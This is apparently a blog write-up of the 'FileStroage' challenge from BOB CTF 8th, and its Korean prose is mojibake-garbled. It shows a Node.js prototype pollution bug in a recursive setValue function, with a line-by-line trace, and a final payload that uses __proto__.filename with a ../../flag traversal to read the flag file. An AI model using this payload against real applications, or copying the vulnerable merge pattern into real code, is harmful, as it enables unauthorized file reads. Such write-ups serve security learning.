[BOB CTF 8th] - FileStroage
0. Description
ํ์ผ์ ๊ด๋ฆฌํ ์ ์๋ ๊ตฌํ์ด ๋ ๋ ํํ์ด์ง์
๋๋ค.
1. ํ์ด์ง ๊ตฌ์ฑ
COPY
1. GET / read๊ฐ์ฒด์ filename property์ fake๋ผ๋ ์คํธ๋ง์ ๋ฃ๊ณ ๋ฐํ 2. POST /mkfile ํ์ผ ์์ฑ ๊ธฐ๋ฅ, filename๊ณผ content๋ฅผ ์
๋ ฅ๋ฐ์ __dirname/storage/ ๊ฒฝ๋ก์ filename ๊ฐ์ ํด์ฌํ์ฌ ํด์ฌ ์ด๋ฆ์ผ๋ก ํ์ผ์ ์์ฑํ ํ์ผ ์ด๋ฆ์ ๋ฐํํ๋ค. 3. GET /readfile filename ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ ๊ฒฝ์ฐ __dirname/storage/ ๊ฒฝ๋ก์์ filename ์ด๋ฆ์ ํ์ผ์ ์ฝ๋๋ค. filename ํ๋ผ๋ฏธํฐ๊ฐ ์์ ๊ฒฝ์ฐ read ์ค๋ธ์ ํธ์ filename Property๋ฅผ ๊ฐ์ ธ์จ๋ค. 4. GET /test func, filename, rename ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ๋๋ค. func๊ฐ rename์ผ ๊ฒฝ์ฐ SetValue ํจ์๋ฅผ ํตํด file ๊ฐ์ฒด property๋ฅผ ์ค์ ํ๋ค. func๊ฐ reset์ผ ๊ฒฝ์ฐ read ๊ฐ์ฒด๋ฅผ ์ด๊ธฐํํ๋ค.
2. ๋ถ์
๋จผ์ flag์ ์์น๋ dockerfile์ /flag๋ก ํ์ธ๋๋ค.
์๋ /readfile ์์ filename์ ํตํด path traversal ๊ณต๊ฒฉ์ ์๋ํด ๋ณผ ์ ์์ง๋ง, "."์ด ๋ชจ๋ ํํฐ๋ง๋์ด ํจ๊ณผ๋ ์๋ค.
COPY
app.get('/readfile',function(req,resp){ let filename=file[req.query.filename]; if(filename==null){ fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){ resp.send(data); }) }else{ read[filename]=filename.replaceAll('.',''); fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){ . . . })
/readfile ์์ filename ํ๋ผ๋ฏธํฐ๊ฐ ์์ผ๋ฉด read object์ filename property ๊ฐ์ ์ฝ๋๋ก ๋์ด์๋ค.
prototype pollution์ ์ด์ฉํ๋ฉด ๊ฐ์ฒด์ propety๋ฅผ ๋ณ์กฐํ ์ ์๋ค.
3. ์ทจ์ฝ์ ํ์ - SetValue func
์ทจ์ฝ์ ์ ์์ธ์ด ๋๋ ํจ์์ด๋ค.
JavaScript์ Prototype Pollution์ด ๋ฐ์ํ๋ ํจ์๋ก, ๊ฐ์ฒด์ ์์ฑ์ ์ค์ ํ๋ฉฐ ๋ค๋ฅธ ๊ฐ์ฒด์ property ์ํฅ์ ์ค ์ ์๋ค.
Prototype Pollution์ ๋ํด์๋ ์๋ ๊ฒ์๊ธ์ ์ฐธ๊ณ ํ์
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
COPY
function isObject(obj) { return obj !== null && typeof obj === 'object'; } function setValue(obj, key, value) { const keylist = key.split('.'); const e = keylist.shift(); if (keylist.length > 0) { if (!isObject(obj[e])) obj[e] = {}; setValue(obj[e], keylist.join('.'), value); } else { obj[key] = value; return obj; } }
4. ์ทจ์ฝ์ ํธ๋ฆฌ๊ฑฐ
setValue ํจ์๋ /test?func=rename์ ํตํด ํธ์ถ๋๋ค.
setValue(rename, "__proto__.filename", "../../flag")์ผ๋ก ์ํ๋๋ฉด ์๋ ์ฒ๋ผ file ๊ฐ์ฒด์ [__proto__]['filename'] property๊ฐ ๋ถ์ฌ๋๊ณ ์ด๋ read ๊ฐ์ฒด์๋ ์ํฅ์ ๋ผ์น๋ค.
์๋๋ setValue ํจ์๋ฅผ ์์ ์ธ์๋ก ์คํํ์ ๊ฒฝ์ฐ์ด๋ค.
COPY
function isObject(obj) { return obj !== null && typeof obj === 'object'; //if __proto__ = false & false return false } // 1st function setValue(obj, key, value) { // obj is file = {} , key = __proto__.filename, value = ../../flag const keylist = key.split('.'); // keylist = ["__proto__", "filename"] const e = keylist.shift(); // keylist will be ["filename"] if (keylist.length > 0) { // True if (!isObject(obj[e])) obj[e] = {}; // isObject return false so if is true -- obj[__proto__] = {} setValue(obj[e], keylist.join('.'), value); // obj[e] is obj[__proto__], filename, ../../flag == try again setValue function } else { obj[key] = value; return obj; } } // 2nd function setValue(obj, key, value) { // obj is obj[__proto__] , key = filename, value = ../../flag const keylist = key.split('.'); // keylist = ["filename"] const e = keylist.shift(); // e = filename if (keylist.length > 0) { // True if (!isObject(obj[e])) obj[e] = {}; // isObject return false so if is true -- obj[__proto__][filename] = {} setValue(obj[e], keylist.join('.'), value); // obj[e] is obj[__proto__][filename], NULL , ../../flag == try again setValue function } else { obj[key] = value; return obj; } } // 3rd function setValue(obj, key, value) { // obj is obj[__proto__][filename] , key = NULL, value = ../../flag const keylist = key.split('.'); // keylist = NULL const e = keylist.shift(); // e = NULL if (keylist.length > 0) { // FALSE if (!isObject(obj[e])) obj[e] = {}; // Not Execute setValue(obj[e], keylist.join('.'), value); // Not Execute } else { obj[key] = value; // file[__proto__][filename] = "../../flag" return obj; // return file[__proto__][filename] = "../../flag" } }
setValue๋ฅผ ํตํด read ๊ฐ์ฒด์ filename property๊ฐ ๋ณ์กฐ๋๋ฉด, /readfile ๊ฒฝ๋ก๋ก ์์ฒญ์ ๋ณด๋ด read[filename]์ ํ์ผ์ ๊ฐ์ ธ์จ๋ค.
COPY
** payload ** GET /test?func=rename&filename=__proto__.filename&rename=../../flag GET /readfile FLAG - BISC{bob11_bisc_h4c_PR0T0LF1!!!!@#}
'๐ก๏ธCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
rev-basic-4 (0) | 2023.09.28 |
---|---|
rev-basic-3 (0) | 2023.09.19 |
[BOB CTF 8th] - Summer Fan (0) | 2022.09.13 |
Apache htaccess (0) | 2022.07.28 |
read_flag (0) | 2022.01.23 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
rev-basic-4
rev-basic-4
2023.09.28 -
rev-basic-3
rev-basic-3
2023.09.19 -
[BOB CTF 8th] - Summer Fan
[BOB CTF 8th] - Summer Fan
2022.09.13 -
Apache htaccess
Apache htaccess
2022.07.28
๋๊ธ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.